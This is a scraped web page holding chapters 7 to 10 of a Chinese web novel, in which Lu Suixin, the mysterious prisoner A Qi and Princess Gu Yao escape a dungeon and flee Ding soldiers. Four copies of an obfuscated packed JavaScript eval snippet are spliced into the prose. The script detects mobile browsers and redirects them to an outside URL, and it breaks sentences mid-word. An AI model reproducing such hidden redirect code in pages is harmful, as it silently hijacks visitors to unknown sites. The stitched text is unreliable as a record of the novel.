;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方才不把他当成敌人好好相处的打算尽数破灭——等东窗事发,莫子翊的身份被捅出去,她作为和他同是云国人的阶下囚,在这定国界内,哪来的活命机会? 她喊,“牢头大哥!牢头大哥!我有要事相告!” 她要把这泼天的情报捅出去,好换回自己的一条小命。 “姑娘?你要作甚?” 她不理,撇过头不看他,摇得牢门叮铃作响,“来人啊!快来人!” 没有任何回音。 连对面的牢房里也静了下来。 静得有些诡异。 陆随心的视线忍不住在飘忽中飞向他坐着的地方,可那个角落竟空了! 人不见了。 只有铁链被留在了那里。 他去哪儿了?凭空消失了?还是……羽化了?灰飞烟灭了? “姑娘,你莫怕。” 阿柒的声音吹过她耳边。 陆随心浑身僵直,低头紧紧盯着自己握着铁杆的右手,那儿不知何时盖上了一只大掌,粗粝的茧子贴着她的手背,擦出一阵微微的战栗。 “你、你……” 他身后那扇洞开的牢门像裂开的大嘴在笑。 陆随心抬头望进近在咫尺的阿柒那双平静幽深的眼,又惊又疑又怒又骇,语无伦次,“你是、你根本……你……你就是个骗子!” 7. 第 7 章 覆在她手背上的掌心移开又落下、移开、又落下。 陆随心诧异地看着阿柒笨拙且缓慢地轻拍着自己,听到他有些委屈地辩解,“姑娘,我不是骗子。” 她觉得自己应该更害怕才对,这可是把那人打到奄奄一息的凶手,这铁链锁不住他,这地牢关不住他,她有什么能拿来抵抗的? 可他眉头皱、眼轻闪、唇微扁的模样,很像小时候被她骂了的…… 一阵刺痛,陆随心回神,伸直了脖子,装出一点不惧的模样,“那你……到底为什么要假装被关在这里?” “守株待兔。” “什么意思?” 他却不回,只说,“委屈姑娘在这里同我一道等几日,我一定护姑娘平安。” 陆随心不肯,指了指牢门上的锁,“你既会这个,不如现在就放了我出去。朝天大道,各走一边,我也不用你护平安。” 阿柒摇摇头,“外面太危险。” 见他横竖不肯,陆随心一狠心,往旁边挪了几步,又扒住牢门,“啊——快来人——唔……” 黑影一闪,一只手伸进缝隙轻捂住了她的嘴。 阿柒在她惊诧的目光中松开手,话里有些求饶的意思,“姑娘,你就当是帮我一个忙吧。” 陆随心宕在原地,不是为他说的话,而是为那只布满茧子的手中弥漫的锈味和浸染到深处仿佛已成为他肌肤味道的淡淡血腥气。 她吞了一口嘴里几近干涸的唾沫,半闭着眼,刚想点头的时候,忽然听到脚边响起“吱吱”的细碎声。 脊背一直,全身陷入空白的陆随心悄悄低头看了一眼,就见一只夜磨子拖着细长的尾巴,从角落钻出,沿着墙边飞速蹿过,停在她昨日吃饼的地方。 那儿残留着一点碎渣。 “你既都这么说了,我帮,我帮你的忙就是!”陆随心双手从栅栏间隔伸出,揽住阿柒的脖颈,靠着这股劲双脚离地,挂在门上,语速极快地对他说,“我绝不和狱卒透露一点消息,我也不再说走的事,只要你让这耗子千万别近我的身。” 阿柒在她揽上来的一瞬间就伸手要推开,可五指搭到她手臂上之后就卸了力,反而整个人呆呆愣愣站在那儿没了声响,像是被颈间突如其来的触碰点住了死穴。 陆随心摇了摇他的脖子,催促着激他,“怎么了?你不是很厉害吗?一只耗子还打不过吗?” “咳。姑娘得先放开我才行。” 陆随心这才看清自己的模样,立刻松了手,独自贴进牢房的角落,整个人都缩得紧紧的。 阿柒颈间一空,怔了一瞬,嘴角一动,几声极其肖似的“吱吱”从他齿缝间吐出。 那夜磨子停了动作,支起小脑袋望了望,竟真的顺着声音跑了出去。 这是陆随心第一次见阿柒杀生。 可她半句“不是”也说不出。 那颗小石头从地上被捡进阿柒手里,又像利箭一样被弹射出去,一声短促的惨叫音后,夜磨子倒了地。 陆随心闭眼垂下头,胸膛里起伏着微妙的罪恶感。 就像她才是那个真正的杀生者一样。 就像是她被迫拉着他上了同一条船。 就像她拿他当了刀,杀死了那条命。 但此后在地牢的日子却变得好熬了一些,陆随心偶尔会在醒来后发现身前的地方多了些吃的,门锁对阿柒来说仿佛空无一物的事实已不再是秘密,这些食物的来处自也不必猜测——来送碴子粥的狱卒曾抱怨过他们的厨房进了贼子。 陆随心每每想起那只一命呜呼的夜磨子,也就不去抱怨身下坚硬的地板和潮湿的稻草,偶尔想想和李芸娘陆少疾一起吃饭吵闹的日子,偶尔和阿柒话不投机地讲上几句话,掰着手指头,一天天地数过去。 一天、两天、三天…… 数到第十二天时,甬道尽头的破门终于在一个不是放饭的时间点被拉开了。 此时的陆随心已经蓬头垢面浑身发臭,连日来的不见天日让她整个人昏昏沉沉,行动迟缓,直到人站到了她的牢门面前,锁被打开的声音传来,她才意识到发生了什么。 刘一德回来了?是不是要放她走了?? 她迷迷瞪瞪地睁开眼,见到了一个藏在兜帽下的瘦削身影,那人站到她跟前,抬手抓住帽檐拉了下去,露出真容。 那是一张风尘仆仆又端庄贵气的脸,陆随心却一眼看出了其中的疲惫,那种无论何时都不忘记整眉肃目的姿态,让人感到真真切切的疲惫。 “你是……谁?” “我是顾瑶。” “啊?”陆随心惊呼,“顾……顾瑶?” 她当然认得这个名字,不仅是她,全云国的百姓都知道这个名字,也都曾在这位素有和善谦恭美名的安平公主被嫁去定国时扼腕叹息,连什么都不懂的陆少疾在那时也跟着村里人连声叹气,活脱脱一副小老头的模样。 眼前这场景就像是话本里的人物走出来活生生到了自己面前,陆随心意识不清,蹙眉而问,“你是来……救我的吗?” 对面牢里的黑影微微动了一下,落入陆随心的余光里。 “我要先问你一个问题。你知不知道,那个被你推到定国来的黑衣人,是何人所伤?” 陆随心一下子清醒了。 这人正是阿柒在等的兔子! “我……”她犹豫了,不知该不该为那个替自己杀鼠投食的危险人物瞒下这件事。 毫无所觉的顾瑶正专注地看着陆随心等待答案。 “他……” 陆随心眼睛忽闪,就瞥见阿柒故技重施,离开了自己的牢房。 一堵黑影悄悄地贴了进来。 顾瑶察觉到了身后的危险,瞬间绷直了身子。 阿柒毫无声息地站在一步开外,轻轻拍了拍顾瑶的肩膀,声音低沉如鬼魅。 “劳驾公主,转个身吧。” 陆随心也不知自己的眼神为何这边尖利,又到底是如何犯的糊涂,竟在清楚看到顾瑶从袖子里探出来的那抹刀锋后徒手扑了过去。 但凡她能冷静下来稍微思索片刻,不,不用片刻,只用思索那么一刹那的功夫,就该知道,一个能从铁链和牢房里不出一点声音就逃脱的人,一个能那么杀死夜磨子的人,不可能需要她的施救。 可她偏偏救了。 在飞扑上去的那个瞬间,陆随心看到眼前两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760878|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上都现出不同程度的诧异,而她的右手已经义无反顾不可阻挡地握住了刀。 皮肤被割开,尖锐的疼痛深深嵌进掌心。 “噔——” 陆随心把抢过来的刀丢到一边,刀落了地。 她龇牙咧嘴地摊开手掌,鲜血从那道伤口中汩汩流出,痛得她差点说不出一句完整话,“都、都是云国人,大家可不能在定国的地盘上自相残杀。” 眼前这对男女显然都是练家子,陆随心生怕他们一言不合在这里同室操戈,赶紧喊出家国大义,好让他们彼此明白双方阵营相同。 这句话对顾瑶很是有用。 在阿柒面无表情蹲下来查看陆随心的伤口时,这位公主再没有袭击的意思,而是在旁静看,并朝着阿柒的背影道,“你也是云国人?报上名号。” 阿柒正从自己的衣摆处撕下一寸宽的长布条,他没有理顾瑶,而是把布条绕着陆随心的伤口紧紧缠了一圈又一圈,止住那里淋漓不尽的红色。 看着那黑布条,陆随心不禁想十几天没洗的衣服缠在伤口上到底益处多还是害处多。 “姑娘,你太莽撞了。”阿柒利索地给布条打了一个结。 “是啊是啊,谁叫我没脑子呢。”这人竟丝毫不领自己的情,反斥责起她来,陆随心愤愤把伤了的手抽回来,又疼得咧嘴。 “我不是这个意思。” 陆随心越想越气,胡乱讽刺道,“我要是真有脑子,怎么会愿意被你当做饵在这里钓了十二天。” 这么一想,愈发替自己方才的冲动感到愚蠢和羞耻。 “姑娘,我……”阿柒有些讪讪,说不出话来了,可还是将她手抓过来,细心查看,见血止住了才作罢。 顾瑶的眼神不着痕迹地在这二人身上来回流转,试图将这囚室里的情况摸清,这次再开口的她不再朝着阿柒,而是对着陆随心,“还不知姑娘姓名。” “啊,我叫陆随心。” “随心姑娘,你可知道,那个被你推来定国的人,是定国的皇长孙莫子翊。” 顾瑶看着没有丝毫惊讶之色的两人,略略一怔,亮明了来意,“他现在一只脚已经踩进了鬼门关,若真的不幸……不幸没了命,绝不能让任何一个定国人知道,他是死在云国人手里的,你明白吗?” 最后一个字音落时,顾瑶已经直直看向了阿柒。 “可……”陆随心从未思虑过这些问题,她也是第一次在一个女子身上,看到那样不容置喙的坚定决绝。 “这事关整个云国的安危。”顾瑶蹲下身子,轻轻握住了陆随心的手,与她近在咫尺地面对面,“绝不可以有人知道,他去过云国。” “那……谁来为他的死负责呢?定国的皇帝、太子难道不会追究吗?”陆随心偷偷往顾瑶身后瞄了一眼。 “这事你不必担心,我会安排。”顾瑶见陆随心仍是一副悬着的表情,便透了底以求赢得她的信任,“王通,你知道吧,那天和刘一德一起巡逻的,你看到他的结局了。定国小人为财杀死在外微服游玩的皇长孙,只要咬住这个故事,把事情推到他身上,就能保证这把火不蔓延开。” “可若是……莫子翊没死呢?” 8. 第 8 章 顾瑶转过身,看到是阿柒在提问,那不紧不慢的样子,明显藏着下一招。 她站起身,微微抬头看他,没了和陆随心说话时的诱哄意味,颇为郑重地承诺,“若他没死,我可以保证他去云国的事情不会从他嘴里说出来,整个定国都不会知道,也没有人会知道伤他的人是谁,只要我们都不说,此事亦可到此为止。” “这天底下只有死人的嘴可以相信。” “你这话说得……倒让我想起了一个人。”顾瑶的布靴一步一步地踩到阿柒跟前,眼神就那么在他身上从头到尾地打量着。 陆随心看着两人互为较劲,生怕再有什么刀剑枪戟甩出来,闹得不可收拾,连忙插进话去,“我与那个皇长孙也算是有一面之缘,我瞧他那说话做事的样子……若他这次真的大难不死,怕是也不会就这么善罢甘休吧。” 顾瑶面色微暗,嘴角也跟着垂了下去。 “确实。他若活着,万事难休。”阿柒步步紧逼,“伤了他的,还有喊他去云国的,甚至整个云国上下,都逃不过麻烦,只有直接把公主你说的故事给做实……” “绝对不可!”顾瑶怒喝了一声,打断了阿柒的暗示,她胸前的那枚玉佩这一路上从长阳城到边关,一直贴着她的肌肤,早就浸染了她的温度,让她不舍得拿走。 她的手下意识护住了那里。 陆随心眨巴了两下眼睛,有点不明白当下发生的事情。 一个云国的公主,怎么对定国的皇长孙这般关心?按辈分,这皇长孙不该是她夫君的侄儿吗? “不可。”自知失言的顾瑶有些败下阵来,欲盖弥彰地又说了一遍,才重新寻回了冷静,“不可如此,没必要主动灭口,去挑起如此大的事端,我方才说的,不过是不得已的下策。” 阿柒默默立在那儿,像一个冷眼看着猎物走进自己圈套的猎人。 而这一次弦外之音,陆随心也听懂了,阿柒方才在说“喊他去云国的”这几个字时,格外突出,明显是意有所指,她恍然,“难道……定国的皇长孙,是被公主你叫去云国的?” 顾瑶沉默了。一半在惊讶眼前这个平民女子如此锐利的洞察,一半则在犹豫是该说一个权宜的借口还是坦言真相? 犹豫间觉察到黑衣男子如炬的目光甩在自己身上,顾瑶还是选择说了实话,“是我。是我私下里怂恿他去的,但我只是为了让他离开定国一阵子,绝没有想到会变成今天这个局面。” 可随后却话锋一转,绵里藏刀,“我也不知他在云国到底是遇上了什么事,又惹怒了什么人,竟会被伤成现在这样。” 这话明显是向着阿柒去的。 阿柒并不接茬,反质问起来,“不知公主要定国的皇长孙私下离开是何意图?” 顾瑶一顿,沉了脸,“此事与你无关。” 阿柒也不恼,又问,“那公主怂恿之时,是否和这位皇长孙提及过陆哀王的事?又或者是否说起过……林志崔林大人?” 陆哀王?陆哀王是哪个?云国的国主不是长庆王吗?林志崔?是那个传闻一天要洗十几趟手的司政大人? 陆随心听得一头雾水,却见顾瑶面色一僵,白里泛青,厉声喝问,“你到底是谁!这些事又是从何听来?” 阿柒不语,似乎在从顾瑶的反应里揣摩真相。 这时,一阵急速的脚步声从外头踢踢踏踏地踩进来,打破了三人的僵局。 那张疤痕脸倏地出现在门外,把陆随心吓了一跳,亲眼见他砍人的那一幕还犹在眼前。 “赶紧撤!赶紧撤!”刘一德招手大喊,唾沫子从嘴里飙出。 “何事?” “原城的守卫追来了。” “什么?!”顾瑶没有多问,立刻拽住陆随心的手腕,“随心姑娘,你同我一道走。” 原城的守卫?这又是哪来的? “我……”陆随心还沉浸在方才那些轮番出现的君君臣臣、赫赫显贵的大人物,全然不明就里,这会儿就像是看戏的被莫名奇妙拉上了台,硬要她也唱两句,她茫然伸出手指,指着自己,“我、我也要跟着跑吗?我只是倒霉被皇长孙敲了家门而已……” “来的都是定国的兵,若叫他们发现了你是云国人,你这辈子都别想回家了,快随我走。”顾瑶根本没管阿柒,拉着陆随心就跟刘一德往外跑。 这话确实吓到了陆随心,她一脸怔忪,有些不敢相信人能落到如此境界,两条腿十二天来第一次走出了这一丈见方的地牢,等候她的却既不是自由也不是回乡,而是要避免被这突然出现的守卫抓住,要在这人生地不熟的定国踏上逃亡路? 陆随心看着自己被近乎陌生的顾瑶牵住的手腕,身上发麻,忍不住往牢里头不住张望,寻找那个日夜隔栏相处的 人,喉头不自觉紧了,“阿柒、阿柒。” 那身黑衣快从陆随心的视线里消失的那一刻,动了。 “姑娘莫急,我就来。”阿柒慢悠悠地跟了上来。 陆随心这才敢转过头去,把全部精力都放到脚下,踩过一级又一级的台阶,眼前的门被拉开时,那道刺目的日光就这么往脸上糊了上来,亮得她眼睛酸痛,无法睁开,只能跟着手上的力道冲了出去。 “站住!”身后传来阵阵盔甲摩擦和佩刀出鞘的声音。 原城的守卫已经到了。 就差那么一点点,再晚一步,他们几个就要在地牢被瓮中捉鳖了。 陆随心忍着刺目的痛把眼睛睁开,看到身边的顾瑶已经再次戴上了兜帽,刘一德则拔出了刀,一副随时准备动手的紧绷姿态。 “大胆狂徒!竟敢伪造出关文牒、重伤军官潜逃!眼里可有王法!还不赶快束手就擒?” 声如洪钟不过就是这般。 陆随心耳边阵痛,用手半遮着眼睛往身旁看去,顾瑶的上半张脸都隐在帽檐之下,她只能看到一双紧紧抿起的唇和唇边紧绷的肌肤。 这位身居高位的皇亲国戚,居然也能如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姑娘宽心,快走便是。”不等顾瑶说出什么弃一保三全大局的话来,听到那句“不管他”的阿柒就转过身,给了陆随心一个很奇怪的眼神。 陆随心觉着奇怪,是因为那双眼明明已经染上了杀气,却偏要空出闲来配合转身后的那半个笑容。 可她到底还是看出来了,阿柒在宽慰她的意思,就和十多天前轻轻拍在她手背上的那两下一样。 她心底莫名生出几分对他的信任和近乎悲伤的生离死别之感。 “全给我抓起来!”几个士兵听到号令,毫不犹豫地冲了出来,一队冲向阿柒,另外几个朝他们而来,气势汹汹,地上的土被扬上了半空。 陆随心被刘一德推了一把,往身后起速疾奔的最后一刻,她看到那根铁链被挥了起来。 还有阿柒的后半句话,混着叮叮当当的交战声刺入她的耳膜。 “我随后就去找你。” 9. 第 9 章 “我随后就回来找你。” 当年,陆随心也和一个人说过这样的话。 就在十二年前永京的文昌街,一家卖木器雕件的店,她记得清清楚楚,叫木铭轩。 可她食言了。 自那以后,她再也没有见过那个人。 所以当陆随心背对着以一敌六的惨烈战局,最终还是头也不回地随着顾瑶他们向偏僻的荒郊野岭跑的时候,她深信,自己这次懦弱且残忍的行为是当年之事的一种对照。 预示着,她从没有变过。 一个自私可怕的小人。 她怎么可以这样?她怎么可以又一次做下这种事? 陆随心纷乱的思绪在他们一路逃进一片静谧的林子后,被顾瑶迫不及待的问题打断了。 “没人追来。”顾瑶环顾四周,确定身后一片寂静,听不到脚步声也看不见其他人影,立刻问,“一德,医馆那儿……怎么说?” “人已经醒了。” “醒了?是莫子翊醒了吗?”陆随心讶异插话。 莫子翊真的没死,这意味着什么? 刘一德没理她,只用警觉的眼神瞥了她一下,有些嫌恶。 “那就好。”顾瑶长长舒了一口气,又问,“你有没有嘱咐医馆……” “王……您放心,绝不会有人知道是谁把他送过去的。待他再将养个十天半月,就能有体力回长阳城了。” “好。不过现在……有问题的倒变成我们几个了。”顾瑶苦笑一声。 “那个黑衣男子……” “我也不知他是谁。”面对刘一德的疑问,顾瑶摇了摇头,把目光看向陆随心,等着她揭晓那人的身份。 陆随心也摇头,有些失落,“我是在牢里刚认识的他,只知道他叫阿柒。” “他知道您的身份吗?若他被活捉,说出……” 不等怒目而视的陆随心开口,顾瑶就抬手打断了刘一德的疑虑,“我们现在还能完好无损站在这里,已是欠他的。” 陆随心偷偷狠睨了一眼刘一德,又朝顾瑶感激一望,身子却一直朝着来时的路,希望那身黑衣随时会出现。 “随心姑娘。”顾瑶拍了拍她的肩,用一种极为镇定的语气道,“我不想编假话骗你,守城的一般都是军中好手,六人合攻之下,他怕是难有全身而退的机会……你还是要有个心理准备。” 这道理陆随心当然懂。她也确实不想听到那些假意的虚词,顾瑶这么和自己敞开了说话,也就无需她强撑着回以客套。 她沉默地点了点头。 其实也不过是家门口见过一面,又在地牢里隔着两道门相处了十二天,夜磨子出没时承了他一回情,这会儿被人追捕又劳他挡在前面救了一次,不过如此,这算得上什么了不得的情谊? 本来也是他非要守株待兔才惹来的这些破事。 等她回到云国,回到民安村,回到那间小屋子里,她保证睡上两觉就把这人忘得一干二净。 这么一想,心里竟愈发堵得慌。 陆随心从路边捡起一根小树枝,发泄般地往地上无辜的绿草抽去。 顾瑶遥遥看了她一眼便先任她去了,和刘一德走到一棵树下,商量起下一步的计划。 “原城的路肯定是走不通了。” “陆路不行,可以走水路,只是路程太远……” “我已离府七天,若太久不回,怕是那边瞒不住也要生事端。” 独自一人往林子深处走进去的陆随心渐渐远离了俩人的声音,当她甩下第一百鞭时,地上一个小黑点跳了出来,滚到了一边。 陆随心蹲下去捡起一看,是一颗圆溜溜的小珠子。 胸膛里跳动的心似乎更早一步认出了眼前的事物,开始咚咚作响。她用手擦去上面的尘土,那颜色和样式竟越看越熟悉…… 这是不是……陆少疾常拿在手里玩的东西? 那这里就是他说的野林子? 民安村岂不是就在不远处?! 陆随心回头,确认顾瑶没有往自己这边看,她扼制着快要从嗓子眼里吐出来的紧张与振奋,知道这唯一的机会将转瞬即逝。 要不要博一回,趁现在悄悄逃走? 本来这些公主大人、皇子王孙、国与国的大事,和她一个小老百姓也不沾边,她又何必非搅在中间! 可文昌街的回忆驱之不散,她不想阿柒最后的背影也在将来的年岁里那样折磨自己。 还有那张残纸的秘密,怎么能做到就这样随随便便地弃之脑后?虽说她从未有过多少替父报仇的雄心,却也从不敢忘记,有一个人是要为她家的十七口人命负责的。 若有机会,她当然想知道这个人是谁。 这般盘算着,陆随心便慢慢从地上拔了起来。 顾瑶和刘一德就是在这时候被她吸引了目光。 有那么令人错觉的一瞬,顾瑶以为自己看到了一头在狩猎时曾见过的鹿。那头在林间驰骋的牝鹿遭到了猎人的围捕,躲开了致命一箭后逃得远远的,在射程范围外停下了脚步,它回过头来后,直直地盯着猎人们。 陆随心此时的眼和那头鹿的眼在顾瑶面前合到了一起。 没有恐惧,没有退缩,也没有仇恨,而是超乎所以的觉察,和一往无前的定意。 “王妃,此人也留不得。”刘一德在顾瑶耳边悄悄说着,手则摸上了已经收回鞘的刀柄上,“斩草除根,才能永绝后患。” 顾瑶立刻按住了他的手腕,用一种几乎不可查觉的力道摇了摇头,“她还有用。” “可……”转眼看到陆随心已经朝二人快步走了过来,刘一德便暂且放下了争辩之意。 “公主。” 刘一德一惊,朝她远远质问,“你叫什么?” 顾瑶替她解释,“是我告诉她的。” 刘一德嘴角一抽,低声又向顾瑶重复了一遍自己的提议,“留不得啊,留不得。” 顾瑶却仍不肯接话,而是轻声招呼向自己走来的人,“随心姑娘?” “我必须得回去救阿柒!” “随心姑娘,我方才已和你说过,阿柒他……”顾瑶再次止住了身旁要动手的刘一德,想要稳住眼前的人。 “我知道。九死一生。”陆随心放下了手,拼命地让自己从昏暗的现实里挣扎出来,一头扎到略显虚妄的希望中,“可毕竟还有’一’的机会,不是吗?” 顾瑶没有说话,只是略显悲哀地摇头。 “你见过阿柒在地牢里的样子,他到你身后的时候,你一点都没有察觉到,是不是?”陆随心拼命想要说服对方,也试着说服自己。 “随心姑娘,隐藏踪迹和一对六的突围,并不能相提并论。”顾瑶仍旧不愿松口。 陆随心提醒她,“公主,你不是也已经猜到,那个定国的皇长孙就是被阿柒所伤?” 顾瑶脸色一变。 不知其里的刘一德仰头指着陆随心,鼻子里喷出不屑的气声,“呵。大言不惭!你知不知道皇长孙是什么水平的高手?” “公主,你不是想知道莫子翊去云国到底遇上了什么事吗?他到底做了什么才会被重伤至此?”陆随心不理刘一德,瞄准了顾瑶的犹疑,“你难道不想知道,会不会是定国的皇长孙……是他做下了什么对云国不利的事情才被伤成这样?” 她在赌,赌这个千里迢迢不惜隐姓埋名冒生命危险来边关处理此事的定国王妃,把云国的利益放在了比谁都高的位置上。 “王妃!她这是挑拨离间!不可着了她的道!”刘一德似是被陆随心的推测狠狠冒犯,见顾瑶似有动摇,又急又怒,拔了刀,就要往陆随心身上劈去。 顾瑶反手一掌打在刘一德手腕上,将刀夺了过来,“刘一德!你放肆!” 刘一德被缴了械,怒气顺着疤痕爬上了他略显狰狞的脸,几经忍耐,阴鸷的恨意才被压了下去。 被他盯着的陆随心不由得想起他砍掉王通脑袋时的狠厉,打了个寒噤。 “随心,你接着说。”顾瑶改了对她的称呼,显得更近一些,可之前语气里的温柔反倒尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760880|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数不见了。 “除了现在说不了话的莫子翊,阿柒就是唯一的知情人。无论他在定国被抓还是被杀,都不是什么好事,只有先想办法把他救出来才是。我答应你,若救他出来,我一定帮你问出全部的事情!” 顾瑶微微垂头,似在回想起这件事的种种。 “公主……” “王妃……” 思索片刻后,下定决心的顾瑶挺身看陆随心,“好,你既这么说,定是有救人的法子了?” 陆随心点点头,“只要公主借我一样东西。” “什么东西?” 在顾瑶疑惑的眼神之下,陆随心隔着两掌的距离指了指她的胸膛,“莫子翊的玉佩。” 顾瑶一惊,手又一次先于她的知觉便抬起来护住了那里,“你……”她不知道此前自己同样的一个小举动已经暴露玉佩的位置,而只觉得眼前的女子第一次让她感到害怕和钦佩。 “你把玉佩给我,我拿去换阿柒。”她把手摊开,往前伸了两寸,“定国皇长孙的消息,定是够换他一条命了。” 顾瑶的手隔着衣衫轻点着那枚玉佩。 “王妃三思!”刘一德见她没有回绝,眉头紧皱,“万一你的身份就此暴露,那可全完了!云国人就爱耍诈,她必是没安好心!” “刘一德!”顾瑶听到他这般口无遮拦地诋毁云人,面露怒容,不留情面地戳了他痛处,“你忘了吗?随心是云国人,我也是云国人,还有你那被乱棍打死的亡妻,我们……可都是云国人。” 刘一德不响了,像被一盆冷水浇熄了的爆竹,在原地蔫吧了。 陆随心在一旁看得又疑惑又好笑,想起当时自己被他扑到地上抓起来的场景,那时候刘一德口口声声骂她是不知好歹的云国人,还啐了她一口,没想到到头来他自己讨的婆娘也是云国人,还对一个云国的公主言听计从,岂不怪哉可笑哉。 顾瑶伸进怀里,将玉佩扯出,递了过去,在陆随心要接时又五指包拢收了回来,“随心,玉佩可以给你,但我有言在先,一是若阿柒已死,或者你也被捉住,我们就当从未见过,二是若你侥幸成功,你必须遵守诺言,带阿柒回来找我,随我回长阳城。无论如何,接下这枚玉佩,你一时半会都回不了家了,你可要想清楚。” “我明白一诺千金的道理。”陆随心颇为肃穆地点了点头,很是郑重地将玉佩接过,也就此接过了顾瑶的几分信任和情谊,也许还有一次把自己从过往回忆里救出去的机会,“公主,谢谢你。” 她深吸了口气,“我去去就回。” “姑娘要去哪儿?” ——“阿姊要去哪儿?” 身后那个声音突然响起的一刹那,陆随心发现自己的身体和四肢都在消融,最后倏的一下堕入了一片黢黑里,野林子不见了,也看不见顾瑶和刘一德了,只剩下了她自己。 当她伸出手,发现是五根小小的、短短的、细细的手指,掌心也小了好几圈。陆随心试着握了握拳,又放开,手安静地听从并执行着她的指令。 这是她,这也不是她。 这也不是真正的黑暗,不过是在刹那间,她坠落到了十二年前的回忆里。 回到了她转身离开文昌街的木铭轩的那一刻,她因为身后小男孩的声音止住了脚步。 男孩在问她,“阿姊要去哪儿?” 当陆随心感觉到骨血肉块慢慢组成自己的躯体,眼前顾瑶错愕的面庞清晰可见时,她才冷汗淋漓地意识到那已是过去,是改变不了的既成事实。 她清醒了。 可为什么顾瑶的眼睁得如此之大?为什么刘一德脸上的疤痕紧巴巴地皱到了一起?好像他们看见了什么了不得的东西? “姑娘,你这是要去哪儿?” 直到这话被问了第二遍,陆随心才明白身后站了一个人,惊跳着转过身去,却看到了一张干净又熟悉的脸,她差点没把自己的舌头咬掉,“阿……柒柒?” “是我。”阿柒听到陆随心叠了字乱了神的叫唤,竟有些高兴地笑了。 10. 第 10 章 “全死了?” 若不是还残余着几分理智,陆随心恨不得扑上去抱一抱阿柒,为他的死里逃生,更为竟能再见到他的喜悦。 她压住了跳起来的冲动,却没能阻止自己的手抬起,擦去他眉角唯一的一滴血迹。 那一刻的陆随心,并没有仔细思考此时此地阿柒的出现意味着什么。 “啊,我擦了好几遍脸,没想到还是疏忽了。”阿柒轻轻抓过了陆随心的手,将那滴血蹭在了自己的衣服上,看到那根手指干净了,才放开了她,不厌其烦地第三次问,“姑娘刚刚是要准备去哪儿?” 陆随心被刀割开的右手忽然疼了起来,她不愿让他知道自己刚刚傻乎乎怒冲冲地准备第二次救他的徒劳努力,随口胡诌,“去出小恭。”怕他当真,又补了一句,“但现在不想了。” “阿柒,那几个守城士兵呢?”顾瑶走上前问。 其实在场的所有人都能想见此题的答案,可总要有人真的动嘴问一问。问一问,听他说了,才真的作数。 “死了。” “全死了?” “全死了。” “一个没活?” “一个没活。” “你一个人把他们六个全杀了?”刘一德根本不信,也忍不住跨步上前,誓要戳破此人吹起的假牛皮,“我看是你把我们都卖了,才换回你这条小命吧。” 说罢,他就把自己的刀捡了起来,骂道,“卑鄙小人。” 阿柒在自己怀里一阵鼓捣,便掏出了一堆东西,扔到了刘一德的脚边,他的手里还留着一样,拿到了陆随心眼前。 陆随心一看,是一块木质腰牌,上面刻着一个苍劲有力的“兵”字。 顾瑶将自己意味深长的目光从满身戾气的刘一德身上收回,转头也往地上看去,一眼便数到了五块腰牌,她眉梢上扬,“甚好!有了这腰牌,我们就能一起混进城了。” “一起?可……”陆随心看了看眼前完好无损的阿柒,又望向身后危机四伏的国度。 “随心,我们刚刚才说好的。”顾瑶指了指还捏在她手里的玉佩,“一诺千金。” 陆随心低下头看到手心里那枚温润剔透的碧玉,想到顾瑶给她时一道递过来的那份信任,便将要走的话都咽了下去。 “姑娘?怎么了?” “阿柒。”她将玉佩紧紧攥进了手里,抬头看着眉毛微垂似在关心自己的男子,可掷地有声的句子却折在了邀请的字眼出口之前,“我答应了公主,在这件事结束前,我要跟着一起去长阳城,你、你呢?” 她感到一阵软弱。 “我?” 若阿柒拒绝了呢?这里谁能劝得住他?他若不肯,那这一切就没有继续下去的意义了。陆随心索性豁了出去,闭着眼一咬牙,道,“要不你也跟着一起去吧?” 阿柒一顿。 “还是说你已经等到了兔子,要准备回去了?” 阿柒霎时舒展了眉心,“我自是要跟着姑娘一起的。” 陆随心茫然看他。 “我说过,一定会护姑娘周全。” “王妃,我们没必要和他们为伍!”刘一德挥着刀,愤愤道。 “把刀收起来吧,刘一德。”顾瑶向阿柒点了点头,看着眼前这临时聚到一起的小队,唇角几不可见地弯了下。 “那可得赶紧了。等尸体硬了,衣服就不好扒下来了。”阿柒挥了挥手,便冲在了前头。 陆随心和顾瑶随即跟上,只有刘一德,往地上啐了一记,才肯抬起腿。 就在不久前他们被六人围住的那片地方,已成了一片血泊,腥味冲天。六具尸体横七竖八地躺着,乍看都不见伤口,只有脸朝上仰躺的几个,能顺着死状看到他们颈间整齐的刀痕,血肉都从那儿翻了出来。 全是一刀毙命,干净利落。 刘一德缩起了鼻子,手不自觉地揉起了鼻根。 